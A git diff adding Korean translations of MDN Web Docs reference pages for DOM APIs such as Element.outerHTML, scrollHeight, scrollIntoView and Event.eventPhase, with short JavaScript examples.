+ + diff --git a/files/ko/web/api/element/outerhtml/index.html b/files/ko/web/api/element/outerhtml/index.html new file mode 100644 index 0000000000..28952f5d69 --- /dev/null +++ b/files/ko/web/api/element/outerhtml/index.html @@ -0,0 +1,119 @@ +--- +title: Element.outerHTML +slug: Web/API/Element/outerHTML +tags: + - API + - DOM + - DOM Parsing + - Element + - Parsing + - Property + - Reference + - Serializing +translation_of: Web/API/Element/outerHTML +--- +
{{APIRef("DOM")}}
+ +

outerHTML 속성은 요소(element)의 자식 요소를 포함하여 요소를 나타내는 직렬화된 HTML 파편을 가져옵니다. 또한 주어진 문자열에서 파싱한 노드로 요소를 대체할 수 있습니다.

+ +

요소의 내용만을 HTML 형태로 가져오거나 설정하기 위해서는 {{domxref("Element.innerHTML", "innerHTML")}} 속성을 대신 사용하십시오.

+ +

문법

+ +
var content = element.outerHTML;
+
+element.outerHTML = htmlString;
+
+ +

+ +

outerHTML로 값을 읽어올 때는 요소와 요소의 자식 요소가 직렬화된 HTML이 포함된 {{domxref("DOMString")}}을 반환합니다. outerHTML로 값을 설정할 때는 요소와 요소의 모든 자식 요소를 htmlString 형태로 파싱된 새로운 DOM 트리 구조로 대체합니다.

+ +

예외

+ +
+
SyntaxError
+
유효하지 않은 HTML 문자열을 사용해 outerHTML을 설정하도록 시도할 경우 SyntaxError 예외가 발생합니다. 
+
NoModificationAllowedError
+
{{domxref("Document.documentElement")}}와 같이 {{domxref("Document")}}의 바로 아래 자식 요소에 outerHTML을 설정하도록 시도할 경우 NoModificationAllowedError 예외가 발생합니다.
+
+ +

예제

+ +

다음은 요소의 outerHTML 속성을 가져오는 예시입니다.

+ +
// HTML:
+// <div id="d"><p>Content</p><p>Further Elaborated</p></div>
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// '<div id="d"><p>Content</p><p>Further Elaborated</p></div>'
+// 위 문자열이 콘솔창에 출력됩니다.
+
+ +

다음은 outerHTML 속성으로 노드를 대체하는 예시입니다.

+ +
// HTML:
+// <div id="container"><div id="d">This is a div.</div></div>
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // "DIV"를 출력합니다.
+
+d.outerHTML = "<p>This paragraph replaced the original div.</p>";
+console.log(container.firstChild.nodeName); // "P"를 출력합니다.
+
+// #d의 div 요소가 문서 트리에서 제거되고,
+// 새 p 요소로 대체되었습니다.
+
+ +

참고

+ +

부모 요소가 없는 요소에 outerHTML 속성을 설정하려고 하면 변경되지 않습니다. 많은 브라우저는 예외를 발생시킵니다. 아래는 예시입니다.

+ +
var div = document.createElement("div");
+div.outerHTML = "<div class=\"test\">test</div>";
+// 많은 브라우저에서 DOMException 예외를 발생시킵니다.
+console.log(div.outerHTML); // 결과: "<div></div>"
+ +

또한, 문서 내의 요소가 변경되더라도 변수의 outerHTML 속성은 원본 요소를 계속 참조합니다.

+ +
var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // "P"를 출력합니다.
+p.outerHTML = "<div>This div replaced a paragraph.</div>";
+console.log(p.nodeName); // 여전히 "P"를 출력합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}{{ Spec2('DOM Parsing') }} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.outerHTML")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/removeattribute/index.html b/files/ko/web/api/element/removeattribute/index.html new file mode 100644 index 0000000000..d31f6ded75 --- /dev/null +++ b/files/ko/web/api/element/removeattribute/index.html @@ -0,0 +1,66 @@ +--- +title: Element.removeAttribute() +slug: Web/API/Element/removeAttribute +tags: + - API + - DOM + - Element + - Method + - Reference +translation_of: Web/API/Element/removeAttribute +--- +
{{APIRef("DOM")}}
+ +

Element.removeAttribute() 메서드는 요소에서 주어진 이름의 특성을 제거합니다.

+ +

구문

+ +
element.removeAttribute(attrName);
+
+ +

매개변수

+ +
+
attrName
+
요소에서 제거할 특성 이름을 지정하는 {{domxref("DOMString")}}. 지정하지 않으면 오류 없이 아무 동작도 하지 않습니다.
+
+ +

반환 값

+ +

{{jsxref("undefined")}}.

+ +

사용 일람

+ +

많은 특성은 {{jsxref("null")}}을 대입했을 때 예상치 못한 동작을 하곤 합니다. 그러므로 특성을 삭제할 때 null을 직접 대입하거나, {{domxref("Element.setAttribute", "setAttribute()")}}의 매개변수로 제공하기보단 removeAttribute() 메서드를 사용해야 합니다.

+ +

예제

+ +
// Given: <div id="div1" align="left" width="200px">
+document.getElementById("div1").removeAttribute("align");
+// Now: <div id="div1" width="200px">
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-removeattribute', 'Element" removeAttribute')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.removeAttribute")}}

diff --git a/files/ko/web/api/element/scrollheight/index.html b/files/ko/web/api/element/scrollheight/index.html new file mode 100644 index 0000000000..32b5f72eb1 --- /dev/null +++ b/files/ko/web/api/element/scrollheight/index.html @@ -0,0 +1,168 @@ +--- +title: Element.scrollHeight +slug: Web/API/Element/scrollHeight +tags: + - API + - Element + - Property + - Reference +translation_of: Web/API/Element/scrollHeight +--- +

{{ APIRef("DOM") }}

+ +

Element.scrollHeight 읽기 전용 속성은 요소 콘텐츠의 총 높이를 나타내며, 바깥으로 넘쳐서 보이지 않는 콘텐츠도 포함합니다.

+ +

scrollHeight 값은 수직 스크롤바를 사용하지 않고 요소의 콘텐츠를 모두 나타낼 때 필요한 최소 높이의 값과 동일합니다. 높이 측정은 {{domxref("Element.clientHeight", "clientHeight")}}와 동일한 방법을 사용하여 요소의 안쪽 여백은 포함하고, 테두리와 바깥 여백, (존재하는 경우) 수평 스크롤바의 높이는 포함하지 않습니다. 또한 {{cssxref("::before")}}, {{cssxref("::after")}} 등 의사 요소의 높이도 결과에 포함합니다. 요소의 콘텐츠를 수직 스크롤바 없이 모두 보일 수 있는 경우의 scrollHeightclientHeight와 동일합니다.

+ +
+

scrollHeight의 반환 값은 정수로 반올림됩니다. 소수점을 포함한 값이 필요한 경우 {{domxref("Element.getBoundingClientRect()")}}를 사용하세요.

+
+ +

구문

+ +
var intElemScrollHeight = element.scrollHeight;
+
+ +

intElemScrollHeight은 요소 scrollHeight의 픽셀 값을 저장하는 정수형 변수입니다.

+ +

예제

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Image:scrollHeight.png

+ +

문제와 해결책

+ +

요소를 끝까지 스크롤했는지 판별하기

+ +

다음 등식이 참인 경우 요소를 끝까지 스크롤한 것입니다.

+ +
element.scrollHeight - element.scrollTop === element.clientHeight
+ +

컨테이너가 스크롤 대신 오버플로된 자식을 노출하는 경우, 다음 검사로 컨테이너가 스크롤 가능한지 알아볼 수 있습니다.

+ +
window.getComputedStyle(element).overflowY === 'visible'
+window.getComputedStyle(element).overflowY !== 'hidden'
+ +

예제

+ +

onscroll이벤트를 함께 사용하여, 내용을 다 읽었는지 확인할 수 있습니다. (element.scrollTop 과 element.clientHeight 를 참조하세요).

+ +

HTML

+ +
<form name="registration">
+  <p>
+    <textarea id="rules">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+    </textarea>
+  </p>
+  <p>
+    <input type="checkbox" name="accept" id="agree" />
+    <label for="agree">동의합니다</label>
+    <input type="submit" id="nextstep" value="다음" />
+  </p>
+</form>
+ +

CSS

+ +
#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}
+ +

JavaScript

+ +
function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "감사합니다" : "다음 내용을 확인해주십시오";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}
+ +

{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.scrollHeight")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/scrollintoview/index.html b/files/ko/web/api/element/scrollintoview/index.html new file mode 100644 index 0000000000..1736aa2e40 --- /dev/null +++ b/files/ko/web/api/element/scrollintoview/index.html @@ -0,0 +1,88 @@ +--- +title: element.scrollIntoView +slug: Web/API/Element/scrollIntoView +translation_of: Web/API/Element/scrollIntoView +--- +
+

{{APIRef("DOM")}}

+ + + +

{{domxref("Element")}} 인터페이스의 scrollIntoView() 메소드는 scrollIntoView()가 호출 된 요소가 사용자에게 표시되도록 요소의 상위 컨테이너를 스크롤합니다.

+
+ +

문법

+ +
element.scrollIntoView();
+element.scrollIntoView(alignToTop); // Boolean parameter
+element.scrollIntoView(scrollIntoViewOptions); // Object parameter
+ +
+
+

Parameters

+
+
alignToTop {{optional_inline}}
+
{{jsxref("Boolean")}} 값: +
    +
  • true일때, the top of the element will be aligned to the top of the visible area of the scrollable ancestor. Corresponds to scrollIntoViewOptions: {block: "start", inline: "nearest"}. This is the default value.
  • +
  • false일때, the bottom of the element will be aligned to the bottom of the visible area of the scrollable ancestor. Corresponds to scrollIntoViewOptions: {block: "end", inline: "nearest"}.
  • +
+
+
scrollIntoViewOptions {{optional_inline}} {{experimental_inline}}
+
다음의 프로퍼티를 가지는 객체
+
+
+
behavior {{optional_inline}}
+
전환에니메이션을 정의.
+ "auto""smooth"중 하나 선택. 기본값은 "auto".
+
block {{optional_inline}}
+
수직 정렬을 정의
+ "start""center""end""nearest"중 하나 선택. 기본값은 "start".
+
inline {{optional_inline}}
+
수평 정렬을 정함
+ One of "start""center""end""nearest"중 하나 선택. 기본값은 "nearest".
+
+
+
+ +

예제

+ +
var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});
+ +

Notes

+ + + +

다른 요소의 레이아웃에 따라 위쪽 또는 아래쪽으로 완전히 스크롤되지 않을 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Element.scrollIntoView")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/element/tagname/index.html b/files/ko/web/api/element/tagname/index.html new file mode 100644 index 0000000000..ecbbc3a405 --- /dev/null +++ b/files/ko/web/api/element/tagname/index.html @@ -0,0 +1,62 @@ +--- +title: Element.tagName +slug: Web/API/Element/tagName +translation_of: Web/API/Element/tagName +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Element")}} 인터페이스의 tagName 읽기 전용 속성은 요소에 호출된 태그 명을 가져온다. 예를 들면, 만약 {{HTMLElement("img")}} 요소일 경우, 해당 요소의 tagName 속성의 내용은 "IMG" 가 된다 (XML/XHTML 및 HTML 문서에서 대소문자가 다르게 나올 수 있다).

+ +

구문

+ +
elementName = Element.tagName;
+
+ +

Value

+ +

태그 명이 명시된 문자열을 가져온다, 이 때, 아래 경우에 따라 대소문자가 달라질 수 있다.

+ + + +

{{domxref("Element")}} 객체에서 사용하는 tagName 속성의 값은 {{domxref("Node")}} 객체의 {{domxref("Node.nodeName", "nodeName")}} 속성과 동일한 값을 가져온다.

+ +

예시

+ +

HTML

+ +
<span id="born">내가 어렸을 적...</span>
+
+ +

JavaScript

+ +
var span = document.getElementById("born");
+console.log(span.tagName);
+
+ +

XHTML (또는 여느 XML 방식) 문서의 경우, 정의한 태그 명 그대로 가져오기 때문에, "span"  같은 소문자 태그명을 가져오게 될 것이다.그에 반해 HTML 문서에서는, 원본 문서에 정의된 태그명과 달리 대소문자를 무시하면서 대문자로만 이루어진 "SPAN" 값을 가져오게 된다.

+ +

규격

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-tagname', 'Element: tagName')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.tagName")}}

diff --git a/files/ko/web/api/element/touchcancel_event/index.html b/files/ko/web/api/element/touchcancel_event/index.html new file mode 100644 index 0000000000..e5b198282b --- /dev/null +++ b/files/ko/web/api/element/touchcancel_event/index.html @@ -0,0 +1,116 @@ +--- +title: touchcancel +slug: Web/API/Element/touchcancel_event +translation_of: Web/API/Element/touchcancel_event +--- +

touchcancel 이벤트는  터치포인트가 현재 구현된 방식안에서 방해 받을때 ( 예를들어 너무 많은 터치 포인트)  발생한다.

+ +

General info

+ +
+
Specification
+
Touch Events
+
Interface
+
TouchEvent
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
Document, Element
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

Examples

+ +

해당 이벤트의 샘플코드는 Touch events 에서 확인할 수 있다.

+ + + + diff --git a/files/ko/web/api/encoding_api/index.html b/files/ko/web/api/encoding_api/index.html new file mode 100644 index 0000000000..04581b999a --- /dev/null +++ b/files/ko/web/api/encoding_api/index.html @@ -0,0 +1,62 @@ +--- +title: 인코딩 API +slug: Web/API/Encoding_API +tags: + - API + - 개요 + - 레퍼런스 + - 인코딩 +translation_of: Web/API/Encoding_API +--- +

{{DefaultAPISidebar("Encoding API")}}{{SeeCompatTable}}

+ +

인코딩 API는 {{Glossary("문자 인코딩", "character encodings")}}, {{Glossary("UTF-8")}}이 아닌 레거시 인코딩을 포함한 다양한 문자열을 제어할 수 있는 매커니즘을 제공한다.

+ +

인코딩 API는 4가지 인터페이스를 제공한다. {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}}, {{domxref("TextEncoderStream")}} 등 이다.

+ +

Interfaces

+ +
+ +
+ +

Tutorials & tools

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Encoding")}}{{Spec2("Encoding")}}Initial definition.
+ +

Browser compatibility

+ + + +

TextDecoder

+ +

{{Compat("api.TextDecoder")}}

+ +

TextEncoder

+ +

{{Compat("api.TextEncoder")}}

diff --git a/files/ko/web/api/event/cancelable/index.html b/files/ko/web/api/event/cancelable/index.html new file mode 100644 index 0000000000..4c3154cebe --- /dev/null +++ b/files/ko/web/api/event/cancelable/index.html @@ -0,0 +1,23 @@ +--- +title: event.cancelable +slug: Web/API/Event/cancelable +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Event/cancelable +--- +

{{ ApiRef() }}

+

개요

+

이벤트의 취소가 가능한지를 나타냅니다.

+

구문

+
bool = event.cancelable;
+
+

이벤트에 규정한 액션을 취소할 수 있는가의 가능여부에 따라서 bool은 true 또는 false가 됩니다.

+

주의

+

이벤트취소의 가능여부는 이벤트의 초기화 시에 판별됩니다.

+

이벤트를 취소하기 위해 preventDefault 메소드를 호출하게 되며, 관련 이벤트에 규정된 액션을 실행하지 않도록 합니다.

+

사양

+

DOM Level 2 Events: cancelable

+

 

+

{{ languages( { "en": "en/DOM/event.cancelable", "es": "es/DOM/event.cancelable", "pl": "pl/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable" } ) }}

diff --git a/files/ko/web/api/event/cancelbubble/index.html b/files/ko/web/api/event/cancelbubble/index.html new file mode 100644 index 0000000000..174565f9c4 --- /dev/null +++ b/files/ko/web/api/event/cancelbubble/index.html @@ -0,0 +1,90 @@ +--- +title: Event.cancelBubble +slug: Web/API/Event/cancelBubble +translation_of: Web/API/Event/cancelBubble +--- +

{{APIRef("DOM Events")}}

+ +

Event.cancelBubble 속성은 {{domxref("Event.stopPropagation()")}}의 별칭입니다. 이벤트 핸들러에서 반환되기 전에 값을 true로 설정하면 이벤트가 전파되지 않습니다.

+ +

Syntax

+ +
event.cancelBubble = bool;
+var bool = event.cancelBubble;
+
+ +

Example

+ +
elem.onclick = function(e) {
+ // do cool things here
+  e.cancelBubble = true;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancellBubble')}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Previous to Firefox 53, this property was defined on the {{domxref("UIEvent")}} interface. See {{bug(1298970)}} for more details.

diff --git a/files/ko/web/api/event/createevent/index.html b/files/ko/web/api/event/createevent/index.html new file mode 100644 index 0000000000..ef05a699e4 --- /dev/null +++ b/files/ko/web/api/event/createevent/index.html @@ -0,0 +1,29 @@ +--- +title: Event.createEvent() +slug: Web/API/Event/createEvent +translation_of: Web/API/Document/createEvent +--- +

{{APIRef("DOM")}}

+ +

새로운 event를 생성합니다, 새로 만들어진 event는 반드시 자신의 init() method를 호출함으로써 초기화되어야만 합니다.

+ +

Syntax

+ +
document.createEvent(type) 
+ +
+
type
+
A string indicating the event type to create.
+
+ +

이 method는 명시된 타입인 새로운 DOM {{ domxref("Event") }} 객체를 반환하며 이는 반드시 사용 전에 초기화되어야만 합니다.

+ +

Example

+ +
var newEvent = document.createEvent("UIEvents");
+ +

Specification

+ + diff --git a/files/ko/web/api/event/event/index.html b/files/ko/web/api/event/event/index.html new file mode 100644 index 0000000000..5ba8e6a6c4 --- /dev/null +++ b/files/ko/web/api/event/event/index.html @@ -0,0 +1,77 @@ +--- +title: Event() +slug: Web/API/Event/Event +tags: + - API + - Constructor + - DOM + - Event + - Reference +translation_of: Web/API/Event/Event +--- +

{{APIRef("DOM")}}

+ +

Event() constructor는 새로운 {{domxref("Event")}} 객체를 생성합니다.

+ +

Syntax

+ +
new Event(typeArg[, eventInit]);
+ +

Values

+ +
+
typeArg
+
이 인자는 {{domxref("DOMString")}} 입니다. event의 이름을 나타냅니다.
+
eventInit {{optional_inline}}
+
이 인자는 EventInit dictionary, 입니다. 아래의 추가 옵션 필드가 있습니다. +
    +
  • bubbles:  {{jsxref("Boolean")}} 값을 받습니다. 해당 event가 bubble인지 아닌지 결정합니다. 기본값은 false 입니다.
  • +
  • cancelable: {{jsxref("Boolean")}} 값을 받습니다.event가 캔슬 될 수 있는지 없는지 결정합니다. 기본값은false 입니다.
  • +
  • composed: {{jsxref("Boolean")}} 값을 받습니다. event가 shadow root 바깥의 eventListener 들도 trigger 할 것인지 결정합니다. (더 자세한 내용은 이곳에서 {{domxref("Event.composed")}} ). 기본값은 false 입니다.
  • +
+
+
+ +

Example

+ +
// create a look event that bubbles up and cannot be canceled
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// event can be dispatched from any element, not only the document
+myDiv.dispatchEvent(evt);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-event-event','Event()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Event.Event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/event/eventphase/index.html b/files/ko/web/api/event/eventphase/index.html new file mode 100644 index 0000000000..895222832d --- /dev/null +++ b/files/ko/web/api/event/eventphase/index.html @@ -0,0 +1,179 @@ +--- +title: Event.eventPhase +slug: Web/API/Event/eventPhase +translation_of: Web/API/Event/eventPhase +--- +

{{ApiRef("DOM")}}

+ +

현재 발생중인 이벤트 흐름의 단계를 나타냅니다.

+ +

Syntax

+ +
var phase = event.eventPhase;
+
+ +

이벤트 흐름의 최근 실행 단계에 대한 지정된 정수값을 반환합니다. 가능한 값은 {{anch("이벤트 단계 상수")}} 목록을 참조.

+ +

Constants

+ +

Event phase constants

+ +

이 값들은 이벤트 흐름의 현재 실행 단계를 나타냅니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
Event.NONE0아무런 이벤트도 발생하지 않았습니다.
Event.CAPTURING_PHASE1이벤트가 상위 개체를 통해 전파됩니다. 이 프로세스는 {{domxref("Window")}},  {{domxref("Document")}}에서 시작하여,  {{domxref("HTMLHtmlElement")}} 등 대상의 부모에 도달할 때까지 요소들을 통과합니다. 이 단계에서 {{domxref("EventTarget.addEventListener()")}} 가 호출될 때 캡처 모드에 있는 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.
Event.AT_TARGET2이벤트가 {{domxref("EventTarget", "the event's target", "", 1)}}에 도착했습니다. 이 단계에서 등록된 이벤트 리스너가 이 때 호출됩니다. 만약  {{domxref("Event.bubbles")}} 이 false 라면, 이 단계가 완료된 다음 이벤트 진행은 종료됩니다.
Event.BUBBLING_PHASE3이벤트가 역순으로 대상의 조상을 통해 전파됩니다. 대상의 부모부터 시작해서, {{domxref("Window")}}를 포함하는 단계까지 도달합니다. 이는 버블링으로 알려져 있으며, {{domxref("Event.bubbles")}}가 true 일 때만 발생합니다. 이 프로세스 중에 이 단계에 등록된 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.
+ +

더 상세한 내용은 DOM Level 3 Events 명세인 section 3.1, Event dispatch and DOM event flow 를 참고하세요.

+ +

Example

+ +

HTML Content

+ +
<h4>Event Propagation Chain</h4>
+<ul>
+  <li>Click 'd1'</li>
+  <li>Analyse event propagation chain</li>
+  <li>Click next div and repeat the experience</li>
+  <li>Change Capturing mode</li>
+  <li>Repeat the experience</li>
+</ul>
+<input type="checkbox" id="chCapture" />
+<label for="chCapture">Use Capturing</label>
+ <div id="d1">d1
+  <div id="d2">d2
+      <div id="d3">d3
+          <div id="d4">d4</div>
+      </div>
+  </div>
+ </div>
+ <div id="divInfo"></div>
+
+ +

CSS Content

+ +
div {
+  margin: 20px;
+  padding: 4px;
+  border: thin black solid;
+}
+
+#divInfo {
+  margin: 18px;
+  padding: 8px;
+  background-color:white;
+  font-size:80%;
+}
+ +

JavaScript Content

+ +
var clear = false, divInfo = null, divs = null, useCapture = false;
+window.onload = function () {
+  divInfo = document.getElementById("divInfo");
+  divs = document.getElementsByTagName('div');
+  chCapture = document.getElementById("chCapture");
+  chCapture.onclick = function () {
+    RemoveListeners();
+    AddListeners();
+  }
+  Clear();
+  AddListeners();
+}
+
+function RemoveListeners() {
+  for (var i = 0; i < divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.removeEventListener("click", OnDivClick, true);
+      d.removeEventListener("click", OnDivClick, false);
+    }
+  }
+}
+
+function AddListeners() {
+  for (var i = 0; i < divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      if (chCapture.checked)
+        d.addEventListener("click", OnDivClick, true);
+      else
+        d.addEventListener("click", OnDivClick, false);
+      d.onmousemove = function () { clear = true; };
+    }
+  }
+}
+
+function OnDivClick(e) {
+  if (clear) {
+    Clear(); clear = false;
+  }
+  if (e.eventPhase == 2)
+    e.currentTarget.style.backgroundColor = 'red';
+  var level = e.eventPhase == 0 ? "none" : e.eventPhase == 1 ? "capturing" : e.eventPhase == 2 ? "target" : e.eventPhase == 3 ? "bubbling" : "error";
+  divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "<br/>";
+}
+
+function Clear() {
+  for (var i = 0; i < divs.length; i++) {
+    if (divs[i].id != "divInfo")
+      divs[i].style.backgroundColor = (i & 1) ? "#f6eedb" : "#cceeff";
+  }
+  divInfo.innerHTML = '';
+}
+ +

{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}{{Spec2("DOM2 Events")}}Initial definition
diff --git a/files/ko/web/api/event/index.html b/files/ko/web/api/event/index.html new file mode 100644 index 0000000000..04c4bc5695 --- /dev/null +++ b/files/ko/web/api/event/index.html @@ -0,0 +1,212 @@ +--- +title: Event +slug: Web/API/Event +tags: + - API + - DOM + - Event + - Interface + - Reference + - UI + - 이벤트 +translation_of: Web/API/Event +--- +

{{ APIRef("DOM") }}

+ +

Event 인터페이스는 DOM 내에 위치한 이벤트를 나타냅니다.

+ +

